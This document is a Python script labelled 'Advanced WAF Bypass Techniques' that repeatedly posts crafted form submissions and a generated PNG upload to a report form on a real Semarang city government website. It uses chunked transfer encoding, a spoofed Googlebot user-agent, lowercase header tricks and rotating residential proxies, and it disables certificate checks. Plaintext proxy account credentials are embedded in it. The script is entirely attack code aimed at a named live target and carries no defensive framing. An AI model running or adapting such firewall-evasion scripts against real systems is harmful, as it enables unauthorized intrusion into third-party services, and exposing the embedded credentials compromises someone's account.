#!/usr/bin/env python3
import requests
import time
import io
import struct
import zlib
import random
import string

# Rotate through different proxy ports
def get_proxy(port=None):
    if port is None:
        port = random.randint(10001, 10010)
    return {
        'http': f'http://b04dd480860a80d0:VJvorQIeLmBSK1G9@res.proxy-seller.com:{port}',
        'https': f'http://b04dd480860a80d0:VJvorQIeLmBSK1G9@res.proxy-seller.com:{port}'
    }

def create_png():
    def png_chunk(type_code, data):
        chunk_type = type_code.encode('latin-1')
        chunk_len = struct.pack('>I', len(data))
        chunk_crc = struct.pack('>I', zlib.crc32(chunk_type + data) & 0xffffffff)
        return chunk_len + chunk_type + data + chunk_crc
    
    signature = b'\x89PNG\r\n\x1a\n'
    ihdr_data = struct.pack('>IIBBBBB', 1, 1, 8, 2, 0, 0, 0)
    ihdr = png_chunk('IHDR', ihdr_data)
    raw_data = b'\x00\xff\xff\xff'
    compressed = zlib.compress(raw_data, 9)
    idat = png_chunk('IDAT', compressed)
    iend = png_chunk('IEND', b'')
    return signature + ihdr + idat + iend

session = requests.Session()

# Different WAF bypass techniques
print("=== Advanced WAF Bypass Techniques ===\n")

# 1. Try chunked transfer encoding
print("[1] Testing chunked transfer encoding...")
try:
    png = create_png()
    boundary = '----WebKitFormBoundary' + ''.join(random.choices(string.ascii_letters, k=16))
    
    body = f'--{boundary}\r\n'
    body += f'Content-Disposition: form-data; name="pelapor_nama"\r\n\r\nTest\r\n'
    body += f'--{boundary}\r\n'
    body += f'Content-Disposition: form-data; name="pelapor_alamat"\r\n\r\nTest\r\n'
    body += f'--{boundary}\r\n'
    body += f'Content-Disposition: form-data; name="pelapor_phone"\r\n\r\n08123\r\n'
    body += f'--{boundary}\r\n'
    body += f'Content-Disposition: form-data; name="pohon_lokasi"\r\n\r\nJakarta\r\n'
    body += f'--{boundary}\r\n'
    body += f'Content-Disposition: form-data; name="pohon_keterangan"\r\n\r\nTest\r\n'
    body += f'--{boundary}\r\n'
    body += f'Content-Disposition: form-data; name="userfile"; filename="test.png"\r\n'
    body += f'Content-Type: image/png\r\n\r\n'
    
    body_bytes = body.encode() + png + f'\r\n--{boundary}--\r\n'.encode()
    
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
        'Content-Type': f'multipart/form-data; boundary={boundary}',
        'Transfer-Encoding': 'chunked',
    }
    
    resp = session.post(
        "https://pohon.disperkim.semarangkota.go.id/main/laporan_input",
        data=body_bytes,
        headers=headers,
        proxies=get_proxy(10001),
        verify=False,
        timeout=30,
        allow_redirects=False
    )
    print(f"    Status: {resp.status_code}, Len: {len(resp.text)}")
    if resp.status_code == 302:
        print("    [+] REDIRECT! Possible success!")
except Exception as e:
    print(f"    Error: {str(e)[:60]}")

time.sleep(2)

# 2. Try with different User-Agent (GoogleBot)
print("\n[2] Testing with GoogleBot User-Agent...")
try:
    headers = {
        'User-Agent': 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
        'Accept': '*/*',
    }
    
    files = {'userfile': ('t.png', io.BytesIO(create_png()), 'image/png')}
    data = {
        'pelapor_nama': 'Test', 'pelapor_alamat': 'Test',
        'pelapor_phone': '08123', 'pohon_lokasi': 'Jakarta',
        'pohon_keterangan': 'Test'
    }
    
    resp = session.post(
        "https://pohon.disperkim.semarangkota.go.id/main/laporan_input",
        files=files, data=data, headers=headers,
        proxies=get_proxy(10002), verify=False, timeout=30, allow_redirects=False
    )
    print(f"    Status: {resp.status_code}, Len: {len(resp.text)}")
except Exception as e:
    print(f"    Error: {str(e)[:60]}")

time.sleep(2)

# 3. Try with lowercase content-type
print("\n[3] Testing with modified Content-Type...")
try:
    png = create_png()
    boundary = 'boundary123'
    
    body = f'--{boundary}\r\n'
    body += 'content-disposition: form-data; name="pelapor_nama"\r\n\r\nTest\r\n'
    body += f'--{boundary}\r\n'
    body += 'content-disposition: form-data; name="pelapor_alamat"\r\n\r\nTest\r\n'
    body += f'--{boundary}\r\n'
    body += 'content-disposition: form-data; name="pelapor_phone"\r\n\r\n08123\r\n'
    body += f'--{boundary}\r\n'
    body += 'content-disposition: form-data; name="pohon_lokasi"\r\n\r\nJakarta\r\n'
    body += f'--{boundary}\r\n'
    body += 'content-disposition: form-data; name="pohon_keterangan"\r\n\r\nTest\r\n'
    body += f'--{boundary}\r\n'
    body += 'content-disposition: form-data; name="userfile"; filename="test.png"\r\n'
    body += 'content-type: image/png\r\n\r\n'
    
    body_bytes = body.encode() + png + f'\r\n--{boundary}--\r\n'.encode()
    
    headers = {
        'User-Agent': 'Mozilla/5.0',
        'content-type': f'multipart/form-data; boundary={boundary}',  # lowercase
    }
    
    resp = requests.post(
        "https://pohon.disperkim.semarangkota.go.id/main/laporan_input",
        data=body_bytes,
        headers=headers,
        proxies=get_proxy(10003),
        verify=False,
        timeout=30,
        allow_redirects=False
    )
    print(f"    Status: {resp.status_code}, Len: {len(resp.text)}")
except Exception as e:
    print(f"    Error: {str(e)[:60]}")

time.sleep(2)

# 4. Try URL-encoded form instead of multipart
print("\n[4] Testing URL-encoded form (no file)...")
try:
    headers = {
        'User-Agent': 'Mozilla/5.0',
        'Content-Type': 'application/x-www-form-urlencoded',
    }
    
    data = 'pelapor_nama=Test&pelapor_alamat=Test&pelapor_phone=08123&pohon_lokasi=Jakarta&pohon_keterangan=Test'
    
    resp = requests.post(
        "https://pohon.disperkim.semarangkota.go.id/main/laporan_input",
        data=data,
        headers=headers,
        proxies=get_proxy(10004),
        verify=False,
        timeout=30,
        allow_redirects=False
    )
    print(f"    Status: {resp.status_code}, Len: {len(resp.text)}")
    if resp.status_code == 302:
        print("    [+] REDIRECT! Form submitted without file!")
        print(f"    Location: {resp.headers.get('Location')}")
except Exception as e:
    print(f"    Error: {str(e)[:60]}")

